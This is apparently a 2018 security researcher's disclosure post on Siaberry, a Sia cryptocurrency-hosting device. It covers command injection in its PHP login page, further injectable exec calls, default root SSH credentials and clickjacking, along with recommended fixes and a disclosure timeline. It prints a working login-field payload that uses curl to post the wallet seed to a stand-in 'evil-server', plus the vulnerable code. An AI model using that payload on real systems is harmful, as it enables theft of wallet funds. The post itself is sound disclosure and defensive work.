Siaberry's Command Injection Vulnerability

Today, I’d like to share several interesting vulnerabilities I discovered in Siaberry, a hardware device for earning cryptocurrency.

Siaberry runs on Sia, a decentralized marketplace for buying and selling data storage. The device is intended to give consumers a plug ‘n play solution to sell storage on Sia’s network, though the two teams have no formal relationship. As buyers purchase space, Siaberry earns income for its owner in the form of Sia’s utility token, Siacoin.

I run a Sia node on my Synology NAS, but I was drawn to Siaberry’s promise of a user-friendly web UI. I took Siaberry for a test drive, and I was blown away by how many serious issues I discovered within just a few hours.

Command injection: working exploit

My most exciting finding was a command injection vulnerability on the login page.

In the video below, I demonstrate how an attacker can extract the private key from the victim’s Sia wallet simply by entering a particular password on Siaberry’s login page:

Understanding the vulnerability

The vulnerability is so obvious that many developers and security experts could tell you exactly what the code looked like by watching the video demo above. I’ll confirm your suspicions.

The problem occurred in ActionPage.php:

$user=$_POST['uname'];
$pass=$_POST['psw'];
exec("sudo bin/checker $user $pass", $output, $exitcode);

That’s it. That’s the whole vulnerability.

Siaberry took untrusted input directly from an HTTP POST request and immediately executed it in the shell. This was a painfully easy vulnerability to exploit.

How the exploit works

To exploit this, I created an attack server called evil-server. From that machine, I started netcat to dump all traffic it received on port 5555. For convenience, I used a server on my local network, but the same attack would work with any server address, remote or local.

I then used foo as the username and supplied a password of badpassword || curl -d "$(siac wallet seeds)" -X POST evil-server:5555.

When ActionPage.php reached its exec line, it executed the following command:

sudo bin/checker foo badpassword || \
  curl -d "$(siac wallet seeds)" -X POST evil-server:5555

This caused the shell to execute three different commands. The first was the command that Siaberry meant to execute:

sudo bin/checker foo badpassword

This returned a non-zero exit code because foo/badpassword was a bad username/password combination. Therefore, the shell proceeded to execute the other side of the ||, starting with the embedded command:

siac wallet seeds

This launched siac, the Sia command-line interface. Those command-line parameters tell Sia to print its wallet seed to the console. The wallet seed is a 29-word passphrase that represents the wallet’s private key. Anyone who has this passphrase completely controls all funds in the victim’s wallet.

curl -d "$(siac wallet seeds)" -X POST evil-server:5555

Finally, the curl command made an HTTP POST request to http://evil-server:5555, sending the Sia wallet seed as the payload. The attacker, capturing messages on port 5555, recorded the victim’s wallet seed, giving them the ability to steal all funds in the victim’s wallet.

Where have I heard this before?

Interestingly, Reddit commenters warned of this exact vulnerability seven months ago. They failed to find a working exploit, but they correctly noted the dangerous pattern of placing user-controlled data into exec calls.

Siaberry’s developer, Kete Tefid, dismissed their warnings and insisted that calls to exec were perfectly safe:

Siaberry developer ignores warnings about this attack

Kete then edited his Siaberry release announcement to include this note:

A word on security

TLDR; It is secure.

I have put much time into the software to make sure that everything works accordingly. I myself have checked things and tried to break possible forms literally more than a thousand times to the point that I was certain that I myself cannot somehow break it and get unauthorized access.

-Kete Tefid, Siaberry developer

Why the impact is still low

Though arbitrary command injection on the login screen might seem scary, the effective impact of this issue is low.

There are very few Siaberry users in the wild, probably on the order of dozens. Of the few hosts that use Siaberry, none of them appear to have configured their devices to accept traffic from the Internet.

A cross-site request forgery (CSRF) vulnerability could have amplified the severity, but I was unable to find any viable CSRF attacks. A CSRF attack is one in which the attacker convinces the victim to visit a malicious web page, then uses JavaScript to force the victim’s browser to make arbitrary HTTP requests to a different site.

If Siaberry were vulnerable to CSRF attacks, the command injection vulnerability would have greater severity because the attacker could take control of any Siaberry device simply by convincing anyone on the device’s local network to visit a malicious website.

Siaberry architecture is fundamentally insecure

While Siaberry’s command injection vulnerability might appear to be a single, careless mistake, investigation of the codebase reveals an entire application architecture that is fundamentally insecure.

Interprocess communication via shell commands

Siaberry’s web app comes bundled with 25 shell scripts in the bin/ folder. The web app is responsible for executing these scripts through PHP exec or shell_exec calls, many of them with sudo privileges.

If the attacker controls the command string, they can inject commands and trick Siaberry into executing them, as shown with the vulnerability above.

It’s certainly possible to prevent command injection by restricting user inputs and sanitizing them for the shell, but that only works if the developer gets it right every single time. It’s safer to avoid shell commands entirely as a form of interprocess communication. There are plenty of other ways for apps to communicate where the communication channel itself cannot accidentally execute arbitrary code as a side-effect.

Excessive web app privileges

Siaberry is a multi-tier application. The part the user sees is the web app frontend, but there are many background processes the user interacts with indirectly through the web app, including the Sia daemon itself.

In any multi-tier application, the web app is the most likely component to be compromised because it handles the highest volume of untrusted input. Because of this, secure architectures follow the principle of least privilege in which they strictly limit the web app’s permissions. That way, if an attacker compromises the web app, they don’t gain control of the entire system.

Siaberry doesn’t follow this principle, at least not entirely. The web app performs actions as root, though it does limit these tasks to a whitelist of shell scripts. It’s poor practice to give a web app sudo privileges, but it’s better than the naïve solution of running the entire app as root.

My recommendations

Short-term: Use escapeshellarg

The first note in PHP’s documentation for exec warns developers that they must escape any user-controllable input they pass to this function. Siaberry’s code never heeds this warning.

Warning in PHP documentation to escape shell arguments
Warning in PHP's documentation instructing developers to escape arguments to exec()

As a short-term patch, Siaberry should wrap all user-controlled shell arguments using the escapeshellarg function. This would prevent the attacker from abusing shell metacharacters to inject commands.

It’s not a good long-term solution because it’s fundamentally dangerous to perform interprocess communication through shell commands. It would serve as a reasonable stopgap until Siaberry migrates to a more robust design.

Long-term: Use a privileged broker process

The long-term fix requires Siaberry to address the weaknesses in its architecture. I believe the best way to do this is to add a privileged broker process.

The broker process would run in a separate user context from the web app. It would have permissions to perform privileged actions that Siaberry needs, such as formatting a USB drive or accessing the user’s Sia wallet.

The broker process should offer an interprocess communication channel that doesn’t risk side effects. One example of a safer channel would be an HTTP REST service over a localhost port. Another option is a message queue, such as RabbitMQ.

The broker should be the only process that communicates directly with Sia. Siaberry could achieve this by configuring Sia to require a password for API calls and allowing only the broker process to have access to the password.

I’d go a step further and run the web app within a Docker container so that if it’s compromised, the attacker has access only to the container and not the full system. The attacker would only be able to perform actions that the web app is allowed to perform. They couldn’t dump private keys, as in the exploit demo above, because that’s not something that the web app currently needs to do.

With the heavy lifting delegated to the broker, Siaberry could remove all the dangerous exec and exec_shell commands from its code and harden its PHP configuration so that it can’t execute arbitrary shell commands even in the case of bugs in the web app.

Reporting the vulnerability to Siaberry

I reported this vulnerability to Siaberry on 2018-04-01 (unrelated to April Fool’s Day). Kete, Siaberry’s developer, was skeptical that the issue was exploitable, but eventually agreed after I sent him a video demo.

Kete rejected both my short- and long-term recommendations. He told me that Siaberry was intentionally designed so that the web app would have special privileges. He declined my suggestion of a privileged broker by claiming that it’s equal in risk to a privileged web app and adds unnecessary complexity. I cited the principle of least privilege and pointed out that web apps process a large volume of user input, but Kete insisted it would be “a complete reinvention of the wheel.”

I reported several other security findings to Kete, but he dismissed almost all of them as deliberate engineering decisions Siaberry made to facilitate ease of use.

Failure to agree on disclosure timeline

After reporting the issues I found, I told Kete that I planned to publish my findings but would follow responsible disclosure. I offered to give Siaberry sufficient time to implement fixes and deploy them to customer devices.

At only ~2,000 lines of code, Siaberry’s web app is relatively small. I was expecting Kete to give me a fix timeline on the scale of days or weeks. I was floored when he told me he needed six months.

Given the size of the application, I felt that six months was an entirely unreasonable request. I told Kete that I could give him at most 60 days. At this, Kete became irate and has since refused all communication with me.

Siaberry developer disagrees with me about disclosure timeline for these vulnerabilities.

Siaberry’s brittle fix

The following day, I saw that Kete applied a hacky, superficial fix to ActionPage.php:

$user=$_POST['uname'];
$pass=$_POST['psw'];
if (preg_match('/^[a-z0-9]*$/',$user) && preg_match('/^[a-zA-Z0-9*!@#^_]*$/',$pass)) {
  ...
  exec("sudo bin/checker $user $pass", $output, $exitcode);

This does indeed break my proof-of-concept exploit, but it’s a weak fix. It eliminates shell metacharacters, but in a “roll your own” fashion that relies on regular expressions.

I can’t think of a bypass, but I also wouldn’t be surprised if someone found a clever way to evade the filter by abusing character encoding, regular expression subtleties, or quirks of shell interpretation. I have more confidence in the escapeshellarg function because it’s purpose-built to prevent this exact attack.

The rest of my security findings, in brief

In addition to the login vulnerability above, I reported several issues to Siaberry that they never fixed.

It has now been over 60 days, which I feel was sufficient time for Siaberry to make a good-faith effort to implement fixes. In that time, Siaberry has made only two changes to the web app, totaling less than 10 lines of code.

Two commits to Siaberry's repo since I notified them of several vulnerabilities
Minimal activity in Siaberry's repository after I reported vulnerabilities to them

I don’t believe that Siaberry has any intention of fixing the vulnerabilities I reported to them, so I am disclosing the remaining issues below.

A dozen more command injection vulnerabilities

The login bypass vulnerability I described above was notable in that it did not require authentication. There are many more command injection vulnerabilities in the code that follow a similar pattern, but they’re only accessible to authenticated users.

In the SetParams.php file, there are twelve instances where Siaberry blindly executes user-supplied strings, such as in the following snippet:

if (isset($_POST['autoUnlockpass'])) {
  $autounlockpass=$_POST['autoUnlockpass'];
  exec("sudo ../bin/SetAutoUnlock $autounlockpass");
}

Siaberry uses insecure SSH settings

Siaberry ships with SSH enabled by default. Further, Siaberry allows SSH login by root which is generally considered poor practice.

At first glance, this seems forgivable given that Siaberry is meant to run headless (no physical display). Then I realized that Siaberry’s documentation doesn’t mention SSH at all, so users bear all the risks of remote access with none of the benefits.

Siaberry uses insecure default credentials

Both the standard user account and the root account use a default password of siaberry. The app never prompts the user to change these default credentials.

The documentation recommends that the user reset their passwords, but a user who skips the documentation could very well use Siaberry without ever realizing they’re supposed to change their password or that there’s even a root password to change.

Siaberry is vulnerable to clickjacking

Clickjacking is an attack in which the attacker lures the victim to a malicious website and then induces them to click the screen. Unbeknownst to the victim, they’re actually clicking buttons on a different website that the attacker has overlayed in an invisible iframe.

As the name implies, a clickjacking attack is limited to mouse clicks, so it’s not possible for the attacker to compromise Siaberry in any way that involves typing (e.g., sending victim funds to an attacker-controlled address). There is still plenty that Siaberry allows the user to do purely through clicks, such as reformatting the victim’s flash drive, which would cause them to default on all of their Sia storage contracts and lose all their collateral.

Screenshot of Siaberry offering to format a flash drive
Possible target of clickjacking attack

The fix is trivial. Siaberry should set the Content-Security-Policy: frame-ancestors HTTP header in server responses, but the web app does not do this.

Defense in depth

The following public comment from Kete perhaps explains Siaberry’s lack of action on these additional issues:

Some friends have commented that putting foo in bar will make boo. The point is that you should first break into the login and get authorized access to be able to set foo in bar. Secondly, this is not a central, shared website which everyone can connect to. it is your OS; I do not know why a user would want to break his own OS after he logs into [sic].

-Kete Tefid, Siaberry developer

To understand the problem with this reasoning, imagine the following separate, hypothetical scenarios:

  • Scenario #1: There’s a CSRF vulnerability that allows anonymous users to modify the Sia directory path through the Siaberry web app.
    • Naïve response: “Who cares? Why would the attacker want to do that?”
  • Scenario #2: There’s a command-injection vulnerability that allows an attacker to execute arbitrary commands by setting the Sia directory path in the web app to a specially crafted value, but they have to be logged in to do it.
    • Naïve response: “Who cares? Why would an authenticated user attack themselves?”

Separately, these vulnerabilities are harmless, but together, they would be quite dangerous.

Secure systems protect not only their external perimeter but their inner defenses as well. This is known as defense in depth. You never know that the vulnerability you see is the only one in the system. The right decision in most cases is to fix the vulnerabilities you can see so that you limit the damage of those you can’t.

Timeline

  • 2018-04-01: I report all of my findings to Siaberry developer Kete Tefid.
  • 2018-04-02: Kete patches the command injection vulnerability on the login page.
  • 2018-04-05: I follow up with Kete to ask if Siaberry plans to fix the remaining issues I reported.
  • 2018-04-06: Kete responds, “I will be working on them but as I said it might not be done within your time frame. So as I said before, you are free to go according to your own plan.”
  • 2018-04-06: I request clarification on what issues he plans to fix, but Kete refuses to speak with me.
  • 2018-06-11: My 60-day blackout window elapses. I publicly disclose all issues that I reported to Siaberry.

Conclusion: Avoid Siaberry

For a host to earn money on the Sia network, it needs to keep a hot wallet carrying sufficient Siacoin to guarantee its contracts. It’s not unusual for the value of the Siacoin in the host’s wallet to reach hundreds or even thousands of US dollars’ worth of Siacoin.

Whenever you give software access to your Sia node, you’re increasing the attack surface of your wallet and therefore increasing the risk of compromise. If the software provides high value and has robust security, this tradeoff can be worthwhile.

Siaberry’s team does not demonstrate an understanding or commitment to security. I don’t believe they are trustworthy custodians of your Siacoin, so I recommend against using Siaberry software to manage your Sia node.

Still not convinced?

While researching this article, I discovered enough troubling business practices from Siaberry for a whole additional post. Check back tomorrow for my follow-up article, “The Many Other Reasons to Avoid Siaberry.”


© 2018. All rights reserved.

Powered by Hydejack v7.5.1